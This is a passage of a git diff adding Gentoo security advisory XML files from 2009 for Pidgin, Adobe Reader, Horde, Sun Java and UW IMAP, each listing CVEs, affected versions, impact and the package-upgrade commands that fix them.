index 00000000..730e83c8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200910-02.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200910-02">
+  <title>Pidgin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Pidgin, leading to the
+    remote execution of arbitrary code, unauthorized information disclosure, or
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">pidgin</product>
+  <announced>October 22, 2009</announced>
+  <revised>October 22, 2009: 01</revised>
+  <bug>276000</bug>
+  <bug>281545</bug>
+  <bug>283324</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/pidgin" auto="yes" arch="*">
+      <unaffected range="ge">2.5.9-r1</unaffected>
+      <vulnerable range="lt">2.5.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pidgin is a client for a variety of instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in Pidgin:
+    </p>
+    <ul>
+    <li>Yuriy
+    Kaminskiy reported that the OSCAR protocol implementation in Pidgin
+    misinterprets the ICQWebMessage message type as the ICQSMS message
+    type, triggering an allocation of a large amount of memory
+    (CVE-2009-1889).</li>
+    <li>Federico Muttis of Core Security Technologies
+    reported that the msn_slplink_process_msg() function in
+    libpurple/protocols/msn/slplink.c in libpurple as used in Pidgin
+    doesn't properly process incoming SLP messages, triggering an overwrite
+    of an arbitrary memory location (CVE-2009-2694). NOTE: This issue
+    reportedly exists because of an incomplete fix for CVE-2009-1376 (GLSA
+    200905-07).</li>
+    <li>bugdave reported that protocols/jabber/auth.c in
+    libpurple as used in Pidgin does not follow the "require TSL/SSL"
+    preference when connecting to older Jabber servers that do not follow
+    the XMPP specification, resulting in a connection to the server without
+    the expected encryption (CVE-2009-3026).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted SLP (via MSN) or ICQ web
+    messages, possibly leading to execution of arbitrary code with the
+    privileges of the user running Pidgin, unauthorized information
+    disclosure, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pidgin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/pidgin-2.5.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1376">CVE-2009-1376</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1889">CVE-2009-1889</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694">CVE-2009-2694</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3026">CVE-2009-3026</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200905-07.xml">GLSA 200905-07</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 31 Aug 2009 02:16:12 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 Aug 2009 07:10:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 22 Oct 2009 19:06:35 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200910-03.xml b/xml/htdocs/security/en/glsa/glsa-200910-03.xml
new file mode 100644
index 00000000..e97184cb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200910-03.xml
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200910-03">
+  <title>Adobe Reader: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Adobe Reader might result in the execution of
+    arbitrary code, or other attacks.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>October 25, 2009</announced>
+  <revised>October 25, 2009: 01</revised>
+  <bug>289016</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">9.2</unaffected>
+      <vulnerable range="lt">9.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Reader (formerly Adobe Acrobat Reader) is a closed-source PDF
+    reader.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were discovered in Adobe Reader. For further
+    information please consult the CVE entries and the Adobe Security
+    Bulletin referenced below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might entice a user to open a specially crafted PDF
+    file, possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application, Denial of Service, the
+    creation of arbitrary files on the victim's system, "Trust Manager"
+    bypass, or social engineering attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-9.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.adobe.com/support/security/bulletins/apsb09-15.html">APSB09-15</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0045">CVE-2007-0045</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0048">CVE-2007-0048</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2979">CVE-2009-2979</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2980">CVE-2009-2980</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2981">CVE-2009-2981</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2982">CVE-2009-2982</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2983">CVE-2009-2983</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2985">CVE-2009-2985</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2986">CVE-2009-2986</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2988">CVE-2009-2988</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2990">CVE-2009-2990</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2991">CVE-2009-2991</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2993">CVE-2009-2993</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2994">CVE-2009-2994</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2996">CVE-2009-2996</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2997">CVE-2009-2997</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2998">CVE-2009-2998</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3431">CVE-2009-3431</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3458">CVE-2009-3458</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3459">CVE-2009-3459</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3462">CVE-2009-3462</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Oct 2009 18:48:21 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 24 Oct 2009 23:09:06 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 24 Oct 2009 23:09:17 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-01.xml b/xml/htdocs/security/en/glsa/glsa-200911-01.xml
new file mode 100644
index 00000000..869fe1c0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-01.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-01">
+  <title>Horde: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Horde Application Framework can allow for
+    arbitrary files to be overwritten and cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">horde horde-webmail horde-groupware</product>
+  <announced>November 06, 2009</announced>
+  <revised>November 06, 2009: 01</revised>
+  <bug>285052</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/horde" auto="yes" arch="*">
+      <unaffected range="ge">3.3.5</unaffected>
+      <vulnerable range="lt">3.3.5</vulnerable>
+    </package>
+    <package name="www-apps/horde-webmail" auto="yes" arch="*">
+      <unaffected range="ge">1.2.4</unaffected>
+      <vulnerable range="lt">1.2.4</vulnerable>
+    </package>
+    <package name="www-apps/horde-groupware" auto="yes" arch="*">
+      <unaffected range="ge">1.2.4</unaffected>
+      <vulnerable range="lt">1.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Horde is a web application framework written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Horde:
+    </p>
+    <ul>
+    <li>Stefan Esser of Sektion1 reported an error within the form library
+    when handling image form fields (CVE-2009-3236).</li>
+    <li>Martin
+    Geisler and David Wharton reported that an error exists in the MIME
+    viewer library when viewing unknown text parts and the preferences
+    system in services/prefs.php when handling number preferences
+    (CVE-2009-3237).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote authenticated attacker could exploit these vulnerabilities to
+    overwrite arbitrary files on the server, provided that the user has
+    write permissions. A remote authenticated attacker could conduct
+    Cross-Site Scripting attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Horde users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-3.3.5&quot;</code>
+    <p>
+    All Horde webmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-webmail-1.2.4&quot;</code>
+    <p>
+    All Horde groupware users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/horde-groupware-1.2.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3236">CVE-2009-3236</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3237">CVE-2009-3237</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 20 Oct 2009 19:14:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 28 Oct 2009 17:35:14 +0000">
+    chainsaw
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Nov 2009 12:02:09 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-02.xml b/xml/htdocs/security/en/glsa/glsa-200911-02.xml
new file mode 100644
index 00000000..e7ed9d7a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-02.xml
@@ -0,0 +1,240 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-02">
+  <title>Sun JDK/JRE: Multiple vulnerabilites</title>
+  <synopsis>
+    Multiple vulnerabilites in the Sun JDK and JRE allow for several attacks,
+    including the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">sun-jre-bin sun-jdk emul-linux-x86-java blackdown-jre blackdown-jdk</product>
+  <announced>November 17, 2009</announced>
+  <revised>November 17, 2009: 01</revised>
+  <bug>182824</bug>
+  <bug>231337</bug>
+  <bug>250012</bug>
+  <bug>263810</bug>
+  <bug>280409</bug>
+  <bug>291817</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <unaffected range="ge">1.6.0.17</unaffected>
+      <vulnerable range="lt">1.6.0.17</vulnerable>
+    </package>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <unaffected range="ge">1.6.0.17</unaffected>
+      <vulnerable range="lt">1.6.0.17</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jre" auto="yes" arch="*">
+      <vulnerable range="le">1.4.2.03-r14</vulnerable>
+    </package>
+    <package name="dev-java/blackdown-jdk" auto="yes" arch="*">
+      <vulnerable range="le">1.4.2.03-r16</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-java" auto="yes" arch="*">
+      <unaffected range="rge">1.5.0.22</unaffected>
+      <unaffected range="ge">1.6.0.17</unaffected>
+      <vulnerable range="lt">1.6.0.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Sun Java Development Kit (JDK) and the Sun Java Runtime Environment
+    (JRE) provide the Sun Java platform.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilites have been reported in the Sun Java
+    implementation. Please review the CVE identifiers referenced below and
+    the associated Sun Alerts for details.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted JAR
+    archive, applet, or Java Web Start application, possibly resulting in
+    the execution of arbitrary code with the privileges of the user running
+    the application. Furthermore, a remote attacker could cause a Denial of
+    Service affecting multiple services via several vectors, disclose
+    information and memory contents, write or execute local files, conduct
+    session hijacking attacks via GIFAR files, steal cookies, bypass the
+    same-origin policy, load untrusted JAR files, establish network
+    connections to arbitrary hosts and posts via several vectors, modify
+    the list of supported graphics configurations, bypass HMAC-based
+    authentication systems, escalate privileges via several vectors and
+    cause applet code to be executed with older, possibly vulnerable
+    versions of the JRE.
+    </p>
+    <p>
+    NOTE: Some vulnerabilities require a trusted environment, user
+    interaction, a DNS Man-in-the-Middle or Cross-Site-Scripting attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sun JRE 1.5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.5.0.22&quot;</code>
+    <p>
+    All Sun JRE 1.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.6.0.17&quot;</code>
+    <p>
+    All Sun JDK 1.5.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.5.0.22&quot;</code>
+    <p>
+    All Sun JDK 1.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.6.0.17&quot;</code>
+    <p>
+    All users of the precompiled 32bit Sun JRE 1.5.x should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.5.0.22&quot;</code>
+    <p>
+    All users of the precompiled 32bit Sun JRE 1.6.x should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.6.0.17&quot;</code>
+    <p>
+    All Sun JRE 1.4.x, Sun JDK 1.4.x, Blackdown JRE, Blackdown JDK and
+    precompiled 32bit Sun JRE 1.4.x users are strongly advised to unmerge
+    Java 1.4:
+    </p>
+    <code>
+    # emerge --unmerge =app-emulation/emul-linux-x86-java-1.4*
+    # emerge --unmerge =dev-java/sun-jre-bin-1.4*
+    # emerge --unmerge =dev-java/sun-jdk-1.4*
+    # emerge --unmerge dev-java/blackdown-jdk
+    # emerge --unmerge dev-java/blackdown-jre</code>
+    <p>
+    Gentoo is ceasing support for the 1.4 generation of the Sun Java
+    Platform in accordance with upstream. All 1.4 JRE and JDK versions are
+    masked and will be removed shortly.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2086">CVE-2008-2086</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3103">CVE-2008-3103</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3104">CVE-2008-3104</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3105">CVE-2008-3105</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3106">CVE-2008-3106</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3107">CVE-2008-3107</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3108">CVE-2008-3108</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3109">CVE-2008-3109</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3110">CVE-2008-3110</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3111">CVE-2008-3111</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3112">CVE-2008-3112</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3113">CVE-2008-3113</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3114">CVE-2008-3114</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3115">CVE-2008-3115</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5339">CVE-2008-5339</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5340">CVE-2008-5340</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5341">CVE-2008-5341</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5342">CVE-2008-5342</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5343">CVE-2008-5343</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5344">CVE-2008-5344</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5345">CVE-2008-5345</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5346">CVE-2008-5346</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5347">CVE-2008-5347</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5348">CVE-2008-5348</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5349">CVE-2008-5349</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5350">CVE-2008-5350</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5351">CVE-2008-5351</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5352">CVE-2008-5352</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5353">CVE-2008-5353</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5354">CVE-2008-5354</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5355">CVE-2008-5355</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5356">CVE-2008-5356</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5357">CVE-2008-5357</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5358">CVE-2008-5358</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5359">CVE-2008-5359</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5360">CVE-2008-5360</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1093">CVE-2009-1093</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1094">CVE-2009-1094</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1095">CVE-2009-1095</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1096">CVE-2009-1096</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1097">CVE-2009-1097</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1098">CVE-2009-1098</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1099">CVE-2009-1099</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1100">CVE-2009-1100</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1101">CVE-2009-1101</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1102">CVE-2009-1102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1103">CVE-2009-1103</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1104">CVE-2009-1104</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1105">CVE-2009-1105</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1106">CVE-2009-1106</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1107">CVE-2009-1107</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2409">CVE-2009-2409</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2475">CVE-2009-2475</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2476">CVE-2009-2476</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2670">CVE-2009-2670</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2671">CVE-2009-2671</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2672">CVE-2009-2672</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2673">CVE-2009-2673</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2674">CVE-2009-2674</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2675">CVE-2009-2675</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2676">CVE-2009-2676</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2689">CVE-2009-2689</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2690">CVE-2009-2690</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2716">CVE-2009-2716</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2718">CVE-2009-2718</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2719">CVE-2009-2719</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2720">CVE-2009-2720</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2721">CVE-2009-2721</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2722">CVE-2009-2722</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2723">CVE-2009-2723</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2724">CVE-2009-2724</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3728">CVE-2009-3728</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3729">CVE-2009-3729</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3865">CVE-2009-3865</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3866">CVE-2009-3866</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3867">CVE-2009-3867</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3868">CVE-2009-3868</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3869">CVE-2009-3869</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3871">CVE-2009-3871</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3872">CVE-2009-3872</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3873">CVE-2009-3873</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3874">CVE-2009-3874</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3875">CVE-2009-3875</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3876">CVE-2009-3876</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3877">CVE-2009-3877</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3879">CVE-2009-3879</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3880">CVE-2009-3880</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3881">CVE-2009-3881</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3882">CVE-2009-3882</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3883">CVE-2009-3883</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3884">CVE-2009-3884</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3886">CVE-2009-3886</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 07 Apr 2009 06:55:57 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 17 Nov 2009 19:42:31 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-03.xml b/xml/htdocs/security/en/glsa/glsa-200911-03.xml
new file mode 100644
index 00000000..06c25cff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-03.xml
@@ -0,0 +1,99 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-03">
+  <title>UW IMAP toolkit: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in the UW IMAP toolkit and the
+    c-client library, the worst of which leading to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">c-client uw-imap</product>
+  <announced>November 25, 2009</announced>
+  <revised>November 25, 2009: 01</revised>
+  <bug>245425</bug>
+  <bug>252567</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/c-client" auto="yes" arch="*">
+      <unaffected range="ge">2007e</unaffected>
+      <vulnerable range="lt">2007e</vulnerable>
